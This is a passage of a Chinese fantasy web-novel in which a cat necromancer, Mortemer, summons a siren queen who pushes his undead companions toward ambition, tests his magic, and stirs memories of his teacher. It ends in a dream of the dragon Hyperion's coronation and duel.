她本该为死灵法师对她展现出的信任感到安心,但可能是因为她已经死了,不必像生前那样思虑众多,也可能是因为联想到自己的孩子从而变得心软。 此时的她内心没有那些冰冷的算计,只有某种缓慢漾开的,微妙又陌生的柔软,像是坚硬的蚌壳被温柔的水流拂过,露出里面莹润的蚌肉。 塞拉菲涅凝视莫特默,她自然能看出,眼前这个强大的死灵法师,还是一只尚未成年,或是成年刚不久的小猫。 但这么小的猫,又怎么会成为如此强大的死灵法师,又为何会要一个连朋友,亲族都算不上的死灵,来为他每夜唱上一首晚安曲? 小猫,她心中不禁轻轻怜爱地叹息发问,你的长辈呢? 指尖几不可察地动了一下,某种久远到近乎遗忘的冲动悄然苏醒,塞拉菲涅甚至有些想俯下身,摸摸莫特默的头。 “你怎么又召唤了一个?” “就是啊,莫特默,是我哪里不好吗……” 就在塞拉菲涅动手前,亥伯龙先开口质问起来,阿利斯泰尔也用一种故意装出来的哭唧唧的腔调接话。 “啊这,这是因为……”莫特默努力搜刮起狡辩,啊不,解释的说辞。 “哦?”一道厉喝截断了莫特默的支吾,塞拉菲涅眼风如刀,刮过亥伯龙和阿利斯泰尔,“你们又凭什么质问大人的所为?” “死灵法师召唤亡灵何错之有?渴望更多的死灵,追求更多的力量,又有什么错?” “自己不思进取,不要拦着其他人进步。” 她冷哼一声,声音里凝着淡淡的威压。 “你们不要将大人带坏了!” 亥伯龙和阿利斯泰尔噎住,一时不知如何反驳。 塞拉菲涅收回目光,心中的不满并未散去。 她视线掠过门边的沉默的一龙一狼,又在莫特默身上绕了一圈,逐渐变得若有所思起来。 死灵法师虽然在世人眼中是一种与邪恶为伍,整天偷鸡摸狗,战斗中无耻地全靠死灵保护,臭名昭著,人人喊打的法师类型,但这不代表死灵法师不强大。 相反,若有足以支撑野心的魔力,死灵法师所能触及的高度,远超寻常法师的想象。 而莫特默正属于这一种,他拥有的不仅是天赋,更是大有可为的未来啊! 塞拉菲涅心中悄然一动。 她生前是亥伯龙,也是龙族的盟友。和龙族一样,海妖族也曾在战争中怀着称霸世界的野心。 只不过也因如此,在亥伯龙逐渐在战场上再无敌手之后,海妖族不愿意成为其附庸,两族之间自然盟约破裂,转而彼此刀刃相向。 但在两族敌对的立场之外,她本人是十分欣赏亥伯龙的。 真正的强者就应该征服整个世界,不屈居于人之下! 她此番回应召唤,也是大部分看在亥伯龙的份上。她本以为是亥伯龙被召唤出后控制了死法,借死灵法师之手想续写他生前的伟业,那她自然也不介意提供帮助,待大业将成之时,再找机会背刺亥伯龙。 但没想情况和她预想中的大不相同。 在亲眼见到死法是一只天赋卓绝但尚且幼小的猫,而亥伯龙和阿利斯泰尔竟还阻止莫特默召唤新的死灵,自己则一副安于现状,毫无斗志的模样后,塞拉菲涅心中有了判断 ——必是这两个家伙沉溺于眼下堕落的生活,对莫特默进了谗言,磨灭了莫特默的野心! 但没关系,她来了! 她会出手。 有她在,不愁莫特默重拾征服世界的野望。 这年轻的死灵法师天赋凛然,力量磅礴,生来就该立于万众之巅,而有她的辅助,必让他们的大业前方一片坦途! 她必须亲手矫正这只无依的幼苗,教导他什么才是真正的好东西。 塞拉菲涅看着莫特默的眼神柔和下来,其中饱含决心。 成为征服整个世界的王吧,小猫! 第28章 “对啊对啊!~”见亥伯龙和阿利斯泰尔被新召唤的死灵怼得说不出话来, 最高兴的莫过于莫特默。 他还没从“召唤精灵王怎么又失败了?!”的愕然和自我怀疑中缓过劲来,就接连遭到亥伯龙和阿利斯泰尔的连番质问,大脑几乎一团浆糊。 可新来的死灵一来,竟三言两句就帮他解决了一个麻烦, 莫特默瞬间像找到靠山般, 亲昵地朝塞拉菲涅靠过去, 不自觉夹起嗓子: “不用叫我大人, 叫我莫特默吧~” “好的,莫特默大人。”塞拉菲涅话语里带着一丝若有若无的笑意。 嗨呀, 莫特默表面上嘀嘀咕咕, 不好意思地说什么“干嘛这么客气”, 可他高高翘起来的尾巴早已不争气地暴露了小猫心里到底对这称呼有多受用。 亥伯龙&阿利斯泰尔:“……” 此时木已成舟, 新的死灵已经被召唤出来,他们又能怎样? 况且, 实际上他们也难以反驳塞拉菲涅的话, 只因他们自己内心深处同样也认可, 对于力量而言怎么追寻都是不过分的。 他们是死灵, 实力已经定格, 能发挥的上限只取决于死灵法师的魔力,但莫特默不同, 他还活着, 还拥有着无限成长的可能。 在这个基础上, 限制一名死灵法师召唤死灵,不是等同于在限制对方未来的道路吗? 阿利斯泰尔沉默地转过身, 伴随着背景中莫特默邀请塞拉菲涅离开召唤室的声音,默默回到他之前和亥伯龙打游戏的地方。 屏幕上,原本因直播中断而变得零散的弹幕见到阿利斯泰尔的回归, 又喷发出来。 [回来了回来了] [怎么回事,UP主你家里失火了?] [不会是玩不起吧(狗头)] 但此时的阿利斯泰尔已经没有心情继续这场游戏,他面色平静地退出直播,直接下线,画面戛然而止。 塞拉菲涅跟着莫特默也一同来到这个房间,耳边一直专注地聆听着莫特默叙说着关于这个世界,以及他们最近发生的种种。 “原来如此,”塞拉菲涅眸光冷静,“我明白了。” 随即她眉头一蹙,视线蓦然转向亥伯龙和阿利斯泰尔:“看来我真是低估了你们两个的无能程度。” “亥伯龙至少还知道去收集一些金钱和物资,而你,”她目光冷冷瞥了阿利斯泰尔一眼,毫不客气道,“这么多年来没变,还是那个废物。” 阿利斯泰尔垮下肩膀,别开脸小声自言自语:“啊啊,所以说我不擅长和塞拉相处啊。”接着又提起劲,自然地抱怨道:“是塞拉你太苛刻了吧。” “苛刻?” “你们到这个世界这么久,连个像样的身份都没有建立,全靠幻术糊弄人类,迟早有一天会暴露,被人类发现异常。而到那时,我们会面对的,可不只是几个好奇的凡人。” 塞拉菲涅语速加快,不断地点出关键,并接着给出解决办法, “亥伯龙参加的那个大赛是个不错的机会。” “我们可以借此作为去参加比赛的普通人,顺理成章地出去打探情报,布置法阵,搜索魔法道具,积累力量。” “此外,我们应该尽快接触那名据说来观赛的菲瑞集团重要人物。” “TA,”塞拉菲涅双手环臂,殷红的指尖轻轻敲击臂膀,稍作停顿,眼中掠过一丝锐利的光, “应该就会是我们获得合法人类身份的关键。” “菲瑞(fairy),这个词本身就是妖精的意思,妖精什么都没有,就是有钱,我怀疑菲瑞集团就是一家由妖精控制,在人类世界经营的公司。” 等发现那人真是妖精,或是和妖精有关联的人物…… 无论是沟通,威胁,利诱,还是催眠,塞拉菲涅相信,一家能在人类世界站稳脚跟,闯出名声,和魔法生物有关联的公司,帮他们解决一些小麻烦自也会是轻而易举。 阿利斯泰尔忍不住小声插嘴:“有必要这么谨慎吗?” 在这方面上,他也是和亥伯龙一样的“做什么准备?敢来找茬的就是在找死”派。 “在得知现在的世界由人类主导,不见任何一个魔法生物的踪迹时,你们就没有发现不对劲吗?” 塞拉菲涅语调平缓,却字字清晰。 “什么时候,魔法天赋匮乏,肉.体孱弱的人类能越过魔法生物,成为世界之主?” 塞拉菲涅侧过脸,目光斜斜地睨向阿利斯泰尔,语气渗出一丝讥诮:“怎么?死了后万事皆休,你已经不那么极端又扭曲地在乎你的亲族了?” 阿利斯泰尔脸上轻松的表情骤然凝固,眼中浮现出某种寒意,沉声警告道:“塞拉菲涅。” 塞拉菲涅“呵”了一声,不理会:“我可不想和你玩什么‘你好我好’的过家家游戏。” 她言语锋利,刮开阿利斯泰尔的面皮,嗤声斥责,“你明知道有问题还在努力粉饰太平的模样真可笑,懦夫。” 阿利斯泰尔脸色彻底淡下去。 他静静地凝视塞拉菲涅,眉宇间笼上一层阴鸷,眼底凶光隐隐流转,缓缓露出某种像是被刺伤后本能展露的凶性,看起来简直和平日那个随和爽朗的形象判若两人。 即便他平时表现得再像是家犬般无害友善,他终究是兽族之王,有着作为王不容轻侮的尊严,与深植于血脉的,属于掠食者的野性。 肆意从野兽的口中夺食,或肆无忌惮地将手指插入野兽的伤口搅动,迎来的,只会是疯狂的反扑。 而他的族人,正是那绝不可触碰的禁区。 塞拉菲涅却在这时轻笑起来,对莫特默说:“看到了吗?” 她语调轻缓,如同在循循善诱地教导:“虽然是被你召唤,受你控制的死灵,但实际上也很容易失控。” “你要学会抓住他们的软肋和内心深处的渴望,而不仅仅凭借死灵契约来掌控他们才行。” 她一字一句,仔细地,恨不得掰开来说道。 莫特默目睹了阿利斯泰尔从平静到凶戾的全过程,不由睁大了眼,感叹惊奇地“哇”了一声,受教地点点头,随即又想通了什么,恍然自语道: “那阿利斯一开始对我态度这么好,就是误以为我是他的族人喽?” 明明早就澄清过不是了,看来阿利斯泰尔根本没听进去嘛。 莫特默不满地瞪了阿利斯一眼。真看不出来,一脸没心眼的阿利斯骨子里竟然这么固执…或者说,偏执? 哼,但不管什么理由,竟然胆大包天到欺骗小猫——死刑! 阿利斯泰尔被看得浑身一震,瞬间读懂了莫特默眼中的讯息。 他整个人从那种压抑的状态中抽离,气势像漏了气的皮球一样迅速瘪下去,几乎是哀怨地看了眼塞拉菲涅,抹了把脸赶忙对莫特默嚎道: “莫特默,莫特默,你听我解释啊,不是这样的!” 莫特默别过脸,耳朵轻轻向后一撇。 不听不听。 亥伯龙移开视线,只留给阿利斯一截冷淡的侧脸和一抹无声的白眼,羞与这种被轻而易举利用、玩弄的狼为伍。 蠢狼。 “莫特默,莫特默,我对你是真心的啊!” 在阿利斯像个执着的向日葵一样,不停绕着莫特默打转,鬼哭狼嚎的背景音中,塞拉菲涅抬手给自己覆上一层幻术。 眨眼之间,她两侧的耳鳍化作人耳,异于常人的湛蓝长发与粉眸变成不起眼的黑发黑眼,连那副美艳夺目的面庞也收敛成只是清秀顺眼的程度。 “你们公然在公开的平台上展露自己,恐怕已经暴露在某些人的注意下,需要赶紧给自己办理一个合理的身份。我就不必了,正好可以隐藏在莫特默大人身边,以备不测。” 亥伯龙:“嗤,不需要。” 说那么多,都是无聊的废话。他不需要帮助他在这个世界生存的身份证明,也不可能会被莫特默通过软肋或渴望来掌控。 而莫特默的安危……有他在,何须塞拉菲涅插手? 这世上,不存在能威胁到他的事物。 塞拉菲涅神色未变:“这不是为了你,是为了莫特默大人。” “何况……”塞拉菲涅扭头柔声对莫特默问,“大人,您认为呢?” 莫特默从左扭右扭头,就是不愿正眼看阿利斯的动作中抬起脸,高声回道:“当然有必要!” 新召唤出的死灵真是又美又飒,一出场便将一切安排得明明白白,还打算时刻守护在小猫身边。 真是——太有安全感辣! 而且莫特默没有忘了,他最终的目标是回家。 在这个世界享受生活也好,收集材料,召唤死灵也罢,都不过是一种过程。而无论过程是顺利还是曲折,结局一定会是他成功找到了他怎么来到这个世界的缘由,然后借此展开研究,如愿回到了他原本的世界。 他有必须要回去的理由。 如果说,要他为了亥伯龙的个龙意愿或奖金去继续参加那个大赛,莫特默只会连连摇头;但若是说,是要借此接触这个世界的魔法生物,莫特默的态度就大不相同了。 说不定这个世界的魔法生物知道他该怎么穿越回去呢! 塞拉菲涅见状,满意地点点头。很好,孺子可教也。 他们接下来,最好尽快接触离他们最近的魔法生物势力,团结一切可以团结的力量。 “莫特默大人,您现在支撑了足足三个死灵的魔力,还吃得消吗?”塞拉菲涅接着轻声问道。 莫特默回答得又快又响:“没问题!” “既然如此……”塞拉菲涅嘴唇勾起, “我来教您几个魔法吧。” “万一我们都不在您身边,大人你也要有一定的自保之力才行。” 她笑盈盈地说,眼中却掠过一丝极具有压迫力的光。 莫特默得意的表情瞬间僵在脸上。 ……什么?还要上课? “我、我其实也是会除了死灵魔法之外的魔法的喵!”莫特默眼神飘忽,慌乱地说,身子不由自主地向后缩了半尺。 “那太好了。”塞拉菲涅眼疾手快,一把揪住悄悄抬起爪子,想要潜逃的莫特默,手上的力道轻柔却不容挣脱,她保持微笑道,“请让我来为您检查一下吧。” 莫特默四爪在空中不停地胡乱挥舞,可惜反抗无效,只能惨叫着被塞拉菲涅拎走了:“喵——!不要啊——” 可尽管他虽然一路上吱哇乱叫着,叫声凄惨,却也始终没有真正地挣脱塞拉菲涅的手。 那副姿态,仿佛曾千百次地被什么人狠狠揪着脖子拎起学习,被拎惯了,嘴上虽抗拒得惊天动地,身体却下意识地调整成一个相对安稳的姿势,动作、态度中无一不透露出一种习以为常的认命。 阿利斯泰尔望着塞拉菲涅和莫特默远去的背影,摸了摸下巴,若有所思:“亥伯龙,你知不知道莫特默的老师是谁?” 亥伯龙从鼻间发出一声意味不明的轻嗤,没有接话。 阿利斯泰尔也不在意,自顾自感叹:“你说,得是什么样的老师才能教出莫特默这样的死灵法师?” 一个,一点都不像死灵法师,却在死灵魔法上如此惊才绝艳,堪称前无来者,后无古人的……猫? 亥伯龙终于动了动。 他抬眼望向走廊尽头早已空荡荡的转角,仿佛能穿过墙壁看见还在幽怨猫叫的莫特默。 莫特默的老师……谁知道? 如果莫特默真的有老师,能教出他这种前所未有的死灵法师的存在,莫非…… 亥伯龙眸色骤然暗沉下来,如同覆上了一层寒雾。 还能是神不成? 第29章 另一头, 莫特默一路被塞拉菲涅提溜着,来到远离住所,大楼外侧的一片空地上。 这片背风的荒地空旷得连杂草都不愿意生长,地面上只有零星沙子和石块。 塞拉菲涅环顾四周, 确认这片场地足以容纳接下来的动静, 终于松手, 放下手中还在挣扎个不停的莫特默。 一落地, 莫特默转身就想逃,可正当他仗着灵巧的身体逃之夭夭, 刚跑出几步时, 前爪就一凉, 半只爪子猝不及防地浸到冰冷的水中。 莫特默受惊地猛地收回爪子, “蹭蹭蹭”屁股往后扭,四脚倒车, 接连后退了好几步, 这才发现, 他的上下左右不知何时出现了一个密不透风的水牢, 像个正方形的透明罩子般罩住了这片空间, 将他与塞拉菲涅完全封在内部。 若不是他刚刚及时刹车,整只猫都要一头冲进那厚厚的水帘之中, 变成一只落汤猫。 显而易见这是个水系魔法, 而施法者是谁, 根本不用猜。 莫特默疯狂甩着沾上水的白手套,注意到塞拉菲涅投过来, 含笑的视线,急忙跳到一旁的一块石头上,装作无事发生般埋头卖力地舔起自己背上的毛。 “好了, 莫特默大人。”塞拉菲涅声音温和,“这个水牢结界能够吸收过量的魔力,不会让施展的魔法波及外界,您可以尽情地施展您所掌握的一切魔法。” 她微微一笑:“虽然海妖的传承只有水元素魔法和精神魔法,但对于其他魔法,我也略有涉猎,您不用担心会伤到我。” 可这句贴心的话在莫特默眼中分明是恐怖的大魔王露出了她的真面目,阴笑着威胁道:桀桀桀,不只是水系魔法,我还精通其他魔法,有的是手段治你,放弃逃跑,乖乖听话吧! 太邪恶啦! 可恶,为什么来到异世界还逃不过学习和考试?! 莫特默内心哀号,却还是磨磨蹭蹭地摆正身子,依照塞拉菲涅的要求,一一释放出自己所会的魔法。 攻击,躲避,隐藏,防御,诅咒,定位…… 水牢内流光溢彩,闪烁起各种魔法的颜色,远远望去,像是在放一场绚烂的烟花秀。 莫特默起初还在认真施展,可随着塞拉菲涅既不说话,也不叫停,他开始故意前后放出两个互相克制的魔法,让他们互相碰撞,又随即爆炸或泯灭,自顾自地玩起来。 塞拉菲涅始终静静地立于一旁没有开口,只目光如水般落在莫特默身上,不动声色地将一切信息收入眼底。 直到莫特默终于将几乎所有魔法演示完,她才不引人注意地抿了抿嘴。 “……”塞拉菲涅罕见地陷入沉吟。 她面上仍旧波澜不惊,但心中称得上是既吃惊又带点不可思议。 当然不是因为莫特默释放了多么强大,多么撼天动地的魔法。 作为生前冷血残忍,统御大海的海妖女皇,一念之间在陆地上凭空掀起滔天巨浪,淹死数以万计的生命都是常有的事,区区魔法的杀伤力,并不足以触动她的心神。 而且莫特默拥有如此雄厚的魔力,理论上,就算是最基础的魔法,在他手中都能发挥出200%的威力,对于莫特默能展现出强大的力量这点,她并不意外。 但……塞拉菲涅的目光变得微微诧异。 就算基础魔法可以发挥出堪比高阶魔法的威力,也不能只·会基础魔法吧? 难道说莫特默在刻意隐藏实力? 这个念头刚浮起,就被塞拉菲涅按下,以她的眼力,还不至于看不出来莫特默是否存心遮掩。 没错,事实就是这样难以置信:莫特默方才演示的所有魔法,清一色都是基础魔法,无一个高阶,更别提禁咒程度的。 不仅如此,莫特默掌握的魔法可以说是五花八门,彼此之间毫不相干。 有单纯的元素魔法,也有极度小众冷门的检测血缘的魔法,甚至还有改变花朵的颜色和香气这种不明所以,真不知是哪个无聊的家伙发明出来的魔法。 而这也接着带出下一个问题: 莫特默……怎么什么魔法都会一点? 塞拉菲涅惊奇就惊奇在这。 要知道,魔法从不是可以随意挥霍的天赋。 世界上被公认的定理之一,就是魔法天赋是遵循着某种平衡的,在某方面强势突出,就会在某些方面受限。 例如魔法生物之一的海妖,天生擅长水系和精神系的魔法,但若想使用其他魔法,不仅难以掌握,使用出来的威力亦会大打折扣,而某些特定的魔法更是连入门都无法做到。 就像她自己,纵然再怎么了解火系魔法的知识,至多也只能在指尖搓出一抹稍纵即逝的火星,再无法向前半步。 又如亥伯龙,龙族天生肉.体强大,魔力抗性优秀到几乎能免疫所有魔法,可随之也受困于魔力亲和的单一性。一头龙穷尽一生,也只能学会、精通与其血脉共鸣的那一类魔法。 也如人类,看似平衡实则局限。他们对任何类型的魔法都有着普遍的亲和力,却也天生魔力量贫瘠,难以使用需要庞大魔力作为支撑的禁术。 但莫特默…… 莫特默不仅有着堪比古老魔法生物的深厚魔力,还如最包容的人类般,能驾驭所有类型的魔法。 这不合常理。 随之而来的,还有更深的谜团: 魔法的传承。 魔法生物的智慧烙印在血脉,每一个魔法生物自出生起就知道如何呼唤血脉中的力量,但也只包含了与血脉共鸣的魔法。 而人类的魔法依赖后天学习,必须要老师教授魔法的奥秘,也正因如此,魔法往往是一名人类法师的不传之密,每个人类的法师都是从侍奉老师的学徒做起,经过经年累月的侍奉与考验,才可能获得一星半点的真传。 那么,莫特默是从哪学会的这么多繁而杂的魔法?难不成他有几十个老师对他倾囊相授不成? 还是说…… 塞拉菲涅怀疑地瞥向在她眼皮子底下,竟还在偷偷摸摸开小差的莫特默。 这个世界上存在一名全知全能,掌握世界上所有魔法的“导师”,而莫特默只是囫囵吞枣地从对方那学了一大堆杂七杂八的魔法,可又偷懒地只学了基础的魔法,对那些需要钻研的高阶魔法避之不及? 塞拉菲涅倏地制止自己深想下去。 不。不管怎么说,虽然基础,但学得多总归不是一件坏事,但 “高深的魔法还是得学!”塞拉菲涅抬起眼,语气里含着明明白白的恨铁不成钢。 莫特默下意识压平耳朵,想像之前面对阿利斯泰尔一样做出“不听不听”的敷衍姿态。 对于死灵魔法之外的魔法,他是一点兴趣都没有。 可迎着塞拉菲涅那虎视眈眈的严厉目光,莫特默只能垂下目光,含糊又心虚地点点头。 于是塞拉菲涅试着将独属于海妖的精神攻击魔法教给莫特默。 结果既出乎意料,又在情理之中: 这个理论上非海妖族学不会的魔法,莫特默毫无所觉,嘴上嘟囔着抱怨的小话,动作上却行云流水地学会了。 塞拉菲涅心中一动,还未彻底理清思绪,已脱口而出:“莫特默大人,您是什么魔法生物?” 话语刚落,她便意识到这个问题其中的探寻意味过于浓厚,补充了一句,温声道:“恕我孤陋寡闻,从未曾见过和您一样的法师。” 没见过? 刹那,莫特默眼底划过一丝精光! 没见过就对了! 提到这个话题,莫特默一反之前的疲态,精神一振,恨不得塞拉菲涅的注意力从此彻底从教学上移开。 “因为我是来自异世界的猫!”他声音里带着不知哪里来的自豪,“是独一无二的死灵法师猫!” 塞拉菲涅轻轻眨眼,纤长的睫毛颤动着遮挡住她眼底的深思。 异世界?以“不是这个世界的生物”为由确实说得过去,但…… 如果是异界来客,莫特默为什么会施展出与这个世界同源的魔法? 他刚刚在展示中使出的,除了一些奇怪的魔法外,全是常见且历史悠久的基础魔法,并且施法的步骤与念的咒语也如教科书般系统,标准。 正因为如此,她才断定莫特默拥有老师,绝非自我摸索的野路子法师。 即便假定两个世界规则相同,机缘巧合下有同源的魔法,跨越世界屏障也非易事。 但她也确实没有听说过如莫特默般的生物,以及那个教导他魔法的存在…… 问题没有解决,反而变多了起来。 塞拉菲涅掩下眼中闪烁的思虑,抬眸间已换上笑意,鼓励道:“做得不错,那我们今天就先到这里吧。” 莫特默如蒙大赦。在水牢消失的第一时间,生怕塞拉菲涅反悔般,他几乎像是一颗被弹射出去的毛球,以迅雷不及掩耳之势溜之大吉。 他一股脑地直奔自己的小窝,脑海中已经浮现出柔软的垫子,种类繁多的零食,还有愿意陪他玩的阿利斯泰尔。 好吧,如果阿利斯能再让他尽兴一次,他也不是不能勉强原谅对方。 正美滋滋想着, “砰!” “喵呀!” 可怜的小猫脑袋结结实实撞上一条硬邦邦的腿,因为惯性,冲击力让他瞬间狠狠压成一个毛茸茸的猫饼,又“噗”地弹回原形。 莫特默脑袋嗡嗡的,头上好似有星星在绕,气极地抬首:“哪个走路不看……” 亥伯龙居高临下地俯视过来。 莫特默:“……” 莫特默,大惊失色! 不好!亥伯龙不会还是气不过,专门来找他秋后算账的吧? 他刚放完了一堆魔法,被榨干了魔力,现在根本无法从亥伯龙手下逃脱! “嗨,龙……好巧哦……”莫特默一边挤出乖巧的语调,窥着亥伯龙的脸色,一边悄悄扭身,试图从亥伯龙脚边绕走。 下一秒,一只脚不偏不倚,正好踩在莫特默鼻子前,差点让他又一头撞上去。 莫特默:!!! 危! 坏了,亥伯龙真的是专门来堵他的。 一道隐隐压抑着不悦的声音从莫特默头顶沉沉落下: “你的老师是谁?” “我的老……”莫特默汗流浃背,下意识重复,倏地反应过来,“老师?” 莫特默:? “亥伯龙你拦住我……就只是想知道我老师的事?”他的声音一下子雀跃起来,像是只单单提到这个词就感到由衷地快乐。 “我的老师可是传奇大法师哦~法师塔比亥伯龙你还要高!” 莫特默昂起小脑袋,眼神发亮,头不晕,脚也不软了,这个话题他能说上三天三夜。 “但也是个会欺负小猫的大魔王!” 似是想到什么,莫特默鼻子皱起来,像被踩了尾巴般,又气鼓鼓地补充, “竟然有人会逼小猫学习,让小猫洗澡,还限制小猫吃零食!天呐,明明小猫一整天都乖乖的,吃点零食怎么了?!真是太坏了!” “还是亥伯龙你好”说到这,他兀地想起眼前站着的是谁,连忙讨好地补上一句。 可话没停,他又话锋一转,勉强的语气中藏不住夸耀和骄傲:“不过谁叫他是世界上最厉害的人,也是世界上最厉害的死灵法师呢!” “人?”亥伯龙只听到了自己想听到的。 莫特默不理解亥伯龙的关注点怎么在这,但还是点了点头。 亥伯龙没再接话,但莫特默就是感觉到,原本萦绕在亥伯龙身上,那种隐隐的危险,紧绷的感觉忽然消失了。 亥伯龙又从坏脾气的龙变回了平时懒洋洋的,宽容的那个他。 “最强?”亥伯龙迈开脚步,语气随意得像在讨论天气,“我才是最强。” 莫特默:? “大魔王才是最强的!”他跳起来。 亥伯龙:“嗤。” 他不理莫特默,径直转身往室内走去。 这下换做莫特默不依了,他小跑着追在亥伯龙脚边,一句接一句: “我的老师才是最强的!他可是一手建立了法师塔,穿越前我待在法师塔里,根本没人敢来招惹我,而且法师塔里,无论是魔法材料还是别的东西应有尽有,全是老师他一个人收集的!” “不过是保护你,再给你找点玩意儿罢了,”亥伯龙不放在心上,“不过如此,我难道做不到?” “才不一样呢!”莫特默脱口而出。 他的老师虽然有些时候会有一点点讨厌,但又温柔又厉害,和亥伯龙完全不一样。 “温柔?”亥伯龙头也不回,“无聊。” 莫特默这才发觉他刚刚把心里话说出了口。 但他说得又没错,莫特默不满又不甘地想,老师就是很温柔,对猫很好的,亥伯龙虽然很大很强,却是脾气很坏的龙,而老师可是曾对他说过…… “有我在,你作为我的猫,这个世界都是你的乐园。” 莫特默听见亥伯龙的声音从头顶落下,带着他独有的,近乎狂妄的笃定与张扬, “你所谓的人类老师……做得到吗?” 莫特默的思绪一顿,脚步蓦地停下。 什么? 他怔怔抬首,望着亥伯龙逆光的背影,大脑里突然一片空茫。 亥伯龙说…… “所以,”亥伯龙哼了一声,声音压低了一些,“你只要有我一个就够……” “嗯?”话未说完,他察觉莫特默没有作声,也没有跟上来,停下脚步,回过头。 只见莫特默呆呆地愣在原地,一动不动地仰着脸,瞳孔涣散地直直地看着他,不知在想什么,仿佛在神游天外。 亥伯龙眉头微蹙。 啧,又没在听。 亥伯龙心底掠过一丝近乎无奈的波动,但脸上依旧是那副散漫的神情。 ……算了,莫特默发神经也不是一天两天了。 “走了。”亥伯龙双手插回兜里,侧过身,语气听起来依旧不耐,却比方才软了半分:“还没玩够吗?玩累了,就跟我回去。” 莫特默:! 莫特默浑身一个激灵,不可置信地望着亥伯龙。 这不可能…… 明明,一点也不像的。 莫特默不想的,可记忆如被潮汐推搡的漂流瓶般,不由分说地被浪潮推到沙滩上。 某个橙光倾泻的午后,暖洋洋的阳光包裹住全身,他闭着眼,感受到温柔的掌心一下下抚过脊背, 听到在他问出“要是他不小心出门闯祸了怎么办”的问题后,那道熟悉带笑的嗓音自上方响起: “没关系,去玩吧,纵情去闯吧,莫特默。无论你走到哪里,所有的屋檐都会为你敞开,这个世界,是属于你的乐园。” “那……要是外面的乐园太精彩,我不想回来了呢?” “玩累了,就回家。” …… 记忆中的话音,与现实中的声音,在此刻恍惚重叠。 莫特默眸光怔怔,失了言语。 “真麻烦。”亥伯龙折返回来,走向还在怔愣的莫特默,“魔力耗尽,又走不动了吗?” 他语气不善,动作却利落而小心,弯下腰,手臂一抄,便将发愣的莫特默稳稳捞进怀中。姿态看似随意,却妥帖地承托了莫特默的全部重量。 莫特默没有挣扎,安静地蜷在亥伯龙怀中,忽地,轻轻蹭了蹭亥伯龙。 亥伯龙自然地抬起另一只手,安抚般顺了顺莫特默的毛。 掌心温暖,动作算不上多么轻柔,却有种令人安心的节奏。 某种遥远而熟悉的舒适感,自脊背上蔓延开来。 ……好吧。 莫特默闭上眼,乖乖将自己彻底埋进那片坚实的温暖。 一点点。 他勉强承认亥伯龙和大魔王确实有一点点的相似。 莫特默在逐渐规律的步伐颠簸中,在一片令人安心的黑暗中,轻轻地在心底说: 老师,你看,在异世界,他也过得和原本的生活一样好哦。 等他玩累了……就回家。 第30章 “王终究是您的父亲, 您怎可违逆他?!” “你要服从龙神的意志……” “作为红龙,您怎么可能学不会这个魔法……” …… 各种各样的声音从四面八方涌来,重叠交织。 一片黑暗中,莫特默猛然从混沌中惊醒。 不, 这不是真正的清醒, 他这是……魔力再一次和亥伯龙联通, 又梦到亥伯龙的记忆了! 随着这个认知变得清晰, 周围昏暗的光线亮起,一座奢华明亮的宫殿出现在莫特默眼前。 亥伯龙站在一个金碧辉煌的大殿, 如同一柄沉默的赤刃, 而在他的前方, 高高在上的宝座上, 坐着一个看不清面容的人。 莫特默认得亥伯龙记忆中龙族的大殿,可这处地方和龙族的大殿相似又有着明显的不同。 它看上去更为奢华, 但却更空荡, 更没有人气, 而坐在王座上的那道身影…… 王座和站立者之间似乎只隔着几步的台阶, 但那短短的台阶仿佛被无形的力量拉成一道不可逾越的天堑, 奇异地遥远,遥远到亥伯龙要想直视对方, 必须费力地仰起头。 而在他身后几人齐齐垂首的映衬下, 亥伯龙抬首的举动显得格外突兀。 但即便他仰起头, 还是看不清对方的面容,只能感受到一道漠然的目光从上方投下来, 如同审视一件器物,冰冷地停留在他的红发上。 “不错。”王座上人影开口,声音中听不出情绪, 用命令的口吻降贵纡尊道,“你就是新王了。” 亥伯龙身后的人顿时发出压抑不住震惊的抽气声,有人似乎下意识抬头:“但亥伯龙殿下还……”但目光触及上首那道身影,又熄了声,重新垂下首,无言地表达了遵从。 下一秒一眨眼,亥伯龙几人就出现在大殿外。 莫特默的“视线”随之豁然开朗。 他这才看到,这座宫殿竟然是一座天上之城,俨然悬浮于云朵之间。往下望去,透过云朵的缝隙可以隐约看到龙族辽阔的领地和原本显得宏伟的龙族宫殿在此刻,都显得如沙盘上的模型般渺小。 那也就是说,方才看不见面容的那个……是龙神? 莫特默后知后觉地意识到。 而亥伯龙刚刚被龙神命为了龙族的新王? 但莫特默能从亥伯龙的记忆中感受到,刚刚一步登天,成为一族之王的亥伯龙的心中没有敬畏,没有喜悦,只有一片深彻骨髓的冰冷怒意和翻腾不休的厌恶。 那情绪如此强烈,却又被死死压抑住。 他缓缓回首看向身后那座像是近在咫尺,又像是远在天边的宫殿,心中滔天翻涌的情绪缓缓被平息,但这不是消散,而是沉淀,凝固,像是火山喷发出的岩浆在冷却后逐渐化为的黑色黏稠的岩块。 画面一闪,再次出现的是莫特默曾见过的场景:亥伯龙穿过肃立的人群,走上王座,路上却一把被王座下一名蓝发男子拽住衣襟。 “我才是应该坐上去的龙,”蓝发的前太子声音压得极低,注视着亥伯龙的眼中满溢着不甘与怨怼,“那原本是我的位置,” 亥伯龙面色冷淡,视线微微挑起,忽地一笑。 “既然如此,遵从龙族的传统。” “我们决斗吧。” “如果你赢了,这个位置就换你坐,如何?” 前太子的表情怔愣了一下,随即立马勾起一抹讥诮的笑,几乎气笑:“你真以为你能战胜我?” 接着他似乎冷静了一些,放开了抓着亥伯龙领子的手,冷冷道:“有龙神的旨意在,即便我赢了又能怎样?” “不,”但很快他像是想到什么,自己打断了自己的话,眼神重新冷彻下来裹挟着毫不掩饰的恶意,改口道,“我们决斗。” 闻言,亥伯龙缓缓地,极深地扬起嘴角。 这是这么多天来,他第一个真正舒展的笑。 在众多族人的劝阻和议论中,前太子和亥伯龙还是在龙王的默许之下一同站在了大殿的中央,在众目睽睽之下进行御前决斗。 前太子端详着亥伯龙,不知在想什么,神色几变,不过大多是一种优越,气定神闲,以及带着几分悠然的怜悯表情。 “考虑好了吗?”亥伯龙不关心,只催促道。 前太子微笑起来,宽容地说:“你先来吧。”说着,他背过一只手,似乎想就这么和亥伯龙战斗。 破风声骤起! 前太子不紧不慢地抬手,就想轻描淡写地接住这一击。 近了,那只拳头近了。 前太子已经在心里冷静地盘算好等他接住这个拳头就顺势绊倒亥伯龙,将亥伯龙彻底压服在地。 等打倒亥伯龙,他这个前太子虽然还是上不了位,但也足以向全族证明:亥伯龙德不配位,而龙神自然也会看清亥伯龙的无能。红龙也不过如此! 